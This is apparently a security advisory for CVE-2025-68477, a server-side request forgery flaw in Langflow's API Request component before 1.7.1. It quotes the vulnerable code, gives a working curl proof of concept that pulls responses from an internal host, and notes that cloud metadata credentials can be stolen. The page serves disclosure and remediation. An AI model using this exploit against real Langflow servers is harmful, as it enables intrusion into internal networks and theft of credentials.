Skip to content

GHSA-5993-7p27-66g5 CVE-2025-68477 PYSEC-2026-1522

Langflow vulnerable to Server-Side Request Forgery

Medium PyPI
Severity
7.7 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
6.30%
Chance of exploitation in the next 30 days. Higher than 93.61% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
1.7.1
Upgrade langflow to this version or later

Description

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

  1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

    @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
    async def simplified_run_flow(
        *,
        background_tasks: BackgroundTasks,
        flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
        input_request: SimplifiedAPIRequest | None = None,
        stream: bool = False,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
        context: dict | None = None,
        http_request: Request,
    ):
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

    @router.post(
        "/run/advanced/{flow_id_or_name}",
        response_model=RunResponse,
        response_model_exclude_none=True,
    )
    async def experimental_run_flow(
        *,
        session: DbSession,
        flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
        inputs: list[InputValueRequest] | None = None,
        outputs: list[str] | None = None,
        tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
        stream: Annotated[bool, Body(embed=True)] = False,
        session_id: Annotated[None | str, Body(embed=True)] = None,
        api_key_user: Annotated[UserRead, Depends(api_key_security)],
    ) -> RunResponse:
    
  2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

        def _normalize_url(self, url: str) -> str:
            """Normalize URL by adding https:// if no protocol is specified."""
            if not url or not isinstance(url, str):
                msg = "URL cannot be empty"
                raise ValueError(msg)
    
            url = url.strip()
            if url.startswith(("http://", "https://")):
                return url
            return f"https://{url}"
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

            url = self._normalize_url(url)
    
            # Validate URL
            if not validators.url(url):
                msg = f"Invalid URL provided: {url}"
                raise ValueError(msg)
    
  3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

            try:
                # Prepare request parameters
                request_params = {
                    "method": method,
                    "url": url,
                    "headers": headers,
                    "json": processed_body,
                    "timeout": timeout,
                    "follow_redirects": follow_redirects,
                }
                response = await client.request(**request_params)
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

                # Base metadata
                metadata = {
                    "source": url,
                    "status_code": response.status_code,
                    "response_headers": response_headers,
                }
    

    https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

                # Handle response content
                if is_binary:
                    result = response.content
                else:
                    try:
                        result = response.json()
                    except json.JSONDecodeError:
                        self.log("Failed to decode JSON response")
                        result = response.text.encode("utf-8")
    
                metadata["result"] = result
    
                if include_httpx_metadata:
                    metadata.update({"headers": headers})
    
                return Data(data=metadata)
    

PoC


PoC Description

  • I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
  • I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

  • Langflow Setting

    <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" />

  • Exploit

    curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
      -H 'Content-Type: application/json' \
      -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
      --data-raw '{
        "inputs":[{"components":[],"input_value":""}],
        "outputs":["Chat Output"],
        "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
        "stream":false
      }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'
    

    <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />

Impact


  • Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
  • Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
  • Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
  • Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
  • Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

Affected versions

PyPI

PackageVulnerableFixed in
langflow
< 1.7.1
1.7.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

langflow PyPI → 1.7.1

pip
pip install --upgrade "langflow>=1.7.1"
poetry
poetry add "langflow>=1.7.1"
uv
uv add "langflow>=1.7.1"

Severity breakdown

CVSS 3.1 7.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-qrpv-q767-xqq2
Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow
High Known exploited Also affects langflow
GHSA-vwmf-pq79-vjvx
Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
Critical Known exploited Also affects langflow
GHSA-g22f-v6f7-2hrh
Langflow affected by Remote Code Execution via validate_code() exec()
High Known exploited Also affects langflow
GHSA-577h-p2hh-v4mv
Langflow CORS misconfiguration enables Account Takeover and RCE
Critical Known exploited Also affects langflow
GHSA-rvqx-wpfh-mfx7
Langflow Unauth RCE
Critical Known exploited Also affects langflow
GHSA-j8f7-x8jm-wmm4
Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)
Medium Also affects langflow
GHSA-4f6c-2vvp-gw82
Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write
High Also affects langflow
GHSA-4hmc-cfm3-w43c
Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
High Also affects langflow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor